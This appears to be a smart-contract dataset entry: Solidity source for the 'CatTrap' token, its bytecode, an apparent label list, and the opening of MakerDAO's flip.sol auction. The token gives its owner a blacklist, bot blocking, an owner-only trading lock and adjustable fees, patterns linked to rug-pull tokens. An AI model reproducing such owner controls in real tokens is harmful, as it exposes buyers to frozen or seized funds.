sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { //function _msgSender() internal view virtual returns (address payable) { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(block.timestamp > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } pragma solidity >=0.5.0; interface IDEGENSwapFactory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function pairExist(address pair) external view returns (bool); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; function routerInitialize(address) external; function routerAddress() external view returns (address); } pragma solidity >=0.5.0; interface IDEGENSwapPair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function baseToken() external view returns (address); function getTotalFee() external view returns (uint); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function updateTotalFee(uint totalFee) external returns (bool); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast, address _baseToken); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, uint amount0Fee, uint amount1Fee, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; function setBaseToken(address _baseToken) external; } pragma solidity >=0.6.2; interface IDEGENSwapRouter01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } pragma solidity >=0.6.2; interface IDEGENSwapRouter is IDEGENSwapRouter01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function pairFeeAddress(address pair) external view returns (address); function adminFee() external view returns (uint256); function feeAddressGet() external view returns (address); } contract CatTrap is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; // Pair Details mapping (uint256 => address) private pairs; mapping (uint256 => address) private tokens; uint256 private pairsLength; address public WETH; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private botWallets; bool botscantrade = false; bool public canTrade = false; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; address public marketingAddress; string private _name = "CatTrap"; string private _symbol = "CTRAP"; uint8 private _decimals = 9; uint256 private _taxFee = 0; // Reflections tax uint256 private _previousTaxFee = _taxFee; uint256 private _liquidityFee; // never used, leave it as is, not chnage anything uint256 private _previousLiquidityFee = _liquidityFee; uint256 private _developmentFee = 700; // 1200 = 12% | marketing/development/team tax | this gets collected in the mnarkeing wallet uint256 public _totalTax = (_taxFee * 100) + _developmentFee; mapping (address => bool) private _isBlacklisted; /*@dev here i implement the blacklisting functions*/ function blacklistAddress(address account) public onlyOwner() { _isBlacklisted[account] = true; } function unBlacklistAddress(address account) public onlyOwner() { _isBlacklisted[account] = false; } function isBlacklisted(address account) public view returns(bool) { return _isBlacklisted[account]; } IDEGENSwapRouter public degenSwapRouter; address public degenSwapPair; address public depwallet; uint256 public _maxTxAmount = 10000000000 * 10**9; // max transaction is equal to total supply by default, can be changed after launch uint256 public _maxWallet = 150000000 * 10**9; // max wallet is 1.5% by default, can be changed after launch modifier onlyExchange() { bool isPair = false; for(uint i = 0; i < pairsLength; i++) { if(pairs[i] == msg.sender) isPair = true; } require( msg.sender == address(degenSwapRouter) || isPair , "DEGEN: NOT_ALLOWED" ); _; } constructor () { _rOwned[_msgSender()] = _rTotal; degenSwapRouter = IDEGENSwapRouter(0x4bf3E2287D4CeD7796bFaB364C0401DFcE4a4f7F); //DegenSwap Router ETH mainnet WETH = degenSwapRouter.WETH(); // Create a uniswap pair for this new token degenSwapPair = IDEGENSwapFactory(degenSwapRouter.factory()) .createPair(address(this), WETH); // Set base token in the pair as WETH, which acts as the tax token IDEGENSwapPair(degenSwapPair).setBaseToken(WETH); IDEGENSwapPair(degenSwapPair).updateTotalFee(700); // set the rest of the contract variables tokens[pairsLength] = WETH; pairs[pairsLength] = degenSwapPair; pairsLength += 1; depwallet = _msgSender(); marketingAddress = address(0xaaA9F200823A2e25690C02A712Ca57ce2CCd975E); // add your marketing wallet address here | its contract deployer by default //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _updatePairsFee(uint256 fee) internal { for (uint j = 0; j < pairsLength; j++) { IDEGENSwapPair(pairs[j]).updateTotalFee(fee); } } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setmarketingAddress(address walletAddress) public onlyOwner { marketingAddress = walletAddress; } function _setmaxwalletamount(uint256 amount) external onlyOwner() { require(amount >= 50000000, "Please check the maxwallet amount, should exceed 0.5% of the supply"); _maxWallet = amount * 10**9; } function setmaxTxAmount(uint256 amount) external onlyOwner() { require(amount >= 50000000, "Please check MaxtxAmount amount, should exceed 0.5% of the supply"); _maxTxAmount = amount * 10**9; } function clearStuckBalance() public { payable(marketingAddress).transfer(address(this).balance); } function claimERCtoknes(IERC20 tokenAddress) external { tokenAddress.transfer(marketingAddress, tokenAddress.balanceOf(address(this))); } function addBotWallet(address botwallet) external onlyOwner() { require(botwallet != degenSwapPair,"Cannot add pair as a bot"); require(botwallet != address(this),"Cannot add CA as a bot"); botWallets[botwallet] = true; } function removeBotWallet(address botwallet) external onlyOwner() { botWallets[botwallet] = false; } function getBotWalletStatus(address botwallet) public view returns (bool) { return botWallets[botwallet]; } function EnableTrading()external onlyOwner() { canTrade = true; } function setFees(uint256 _tax, uint256 _developmentTax) public onlyOwner { _taxFee = _tax; _developmentFee = _developmentTax * 100; _totalTax = (_taxFee * 100) + _developmentFee; require(_developmentFee >= 100, "Development tax cant be lower than 1%"); require(_totalTax <= 1500, "buy tax cannot exceed 15%"); _updatePairsFee(_developmentFee); } function setBaseToken() public onlyOwner { IDEGENSwapPair(degenSwapPair).setBaseToken(WETH); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(!(_isBlacklisted[to]), "Address is blacklisted"); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if(from == degenSwapPair && to != depwallet) { require(balanceOf(to) + amount <= _maxWallet, "check max wallet"); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!canTrade){ require(sender == owner()); // only owner allowed to trade or add liquidity } if(botWallets[sender] || botWallets[recipient]){ require(botscantrade, "bots arent allowed to trade"); } if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function depositLPFee(uint256 amount, address token) public onlyExchange { uint256 tokenIndex = _getTokenIndex(token); if(tokenIndex < pairsLength) { uint256 allowanceT = IERC20(token).allowance(msg.sender, address(this)); if(allowanceT >= amount) { IERC20(token).transferFrom(msg.sender, address(this), amount); IERC20(token).transfer(marketingAddress, amount); } } } function _getTokenIndex(address _token) internal view returns (uint256) { uint256 index = pairsLength + 1; for(uint256 i = 0; i < pairsLength; i++) { if(tokens[i] == _token) index = i; } return index; } }
0x73f3276a5631c8e1984d5b6269a5cd2cd7eac8f41330146080604052600080fdfea2646970667358221220ed64a54f944ec2523f0356d6d6c55f0a87ec5c94302c4b2fa853a9c19455871d64736f6c63430008090033
[ 16, 5, 11 ]
0xf32836b9e1f47a0515c6ec431592d5ebc276407f
/// flip.sol -- Collateral auction // Copyright (C) 2018 Rain <rainbreak@riseup.net> // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. pragma solidity >=0.5.12; contract LibNote { event LogNote( bytes4 indexed sig, address indexed usr, bytes32 indexed arg1, bytes32 indexed arg2, bytes data ) anonymous; modifier note { _; assembly { // log an 'anonymous' event with a constant 6 words of calldata // and four indexed topics: selector, caller, arg1 and arg2 let mark := msize() // end of memory ensures zero mstore(0x40, add(mark, 288)) // update free memory pointer mstore(mark, 0x20) // bytes type data offset mstore(add(mark, 0x20), 224) // bytes size (padded) calldatacopy(add(mark, 0x40), 0, 224) // bytes payload log4(mark, 288, // calldata shl(224, shr(224, calldataload(0))), // msg.sig caller(), // msg.sender calldataload(4), // arg1 calldataload(36) // arg2 ) } } } interface VatLike { function move(address,address,uint256) external; function flux(bytes32,address,address,uint256) external; } interface CatLike { function claw(uint256) external; } /* This thing lets you flip some gems for a given amount of dai. Once the given amount of dai is raised, gems are forgone instead. - `lot` gems in return for bid - `tab` total dai wanted - `bid` dai paid - `gal` receives dai income - `usr` receives gem forgone - `ttl` single bid lifetime - `beg` minimum bid increase - `end` max auction duration */ contract Flipper is LibNote { // --- Auth --- mapping (address => uint256) public wards; function rely(address usr) external note auth { wards[usr] = 1; } function deny(address usr) external note auth { wards[usr] = 0; } modifier auth { require(wards[msg.sender] == 1, "Flipper/not-authorized"); _; } // --- Data --- struct Bid { uint256 bid; // dai paid [rad] uint256 lot; // gems in return for bid [wad] address guy; // high bidder uint48 tic; // bid expiry time [unix epoch time] uint48 end; // auction expiry time [unix epoch time] address usr; address gal; uint256 tab; // total dai wanted [rad] } mapping (uint256 => Bid) public bids; VatLike public vat; // CDP Engine 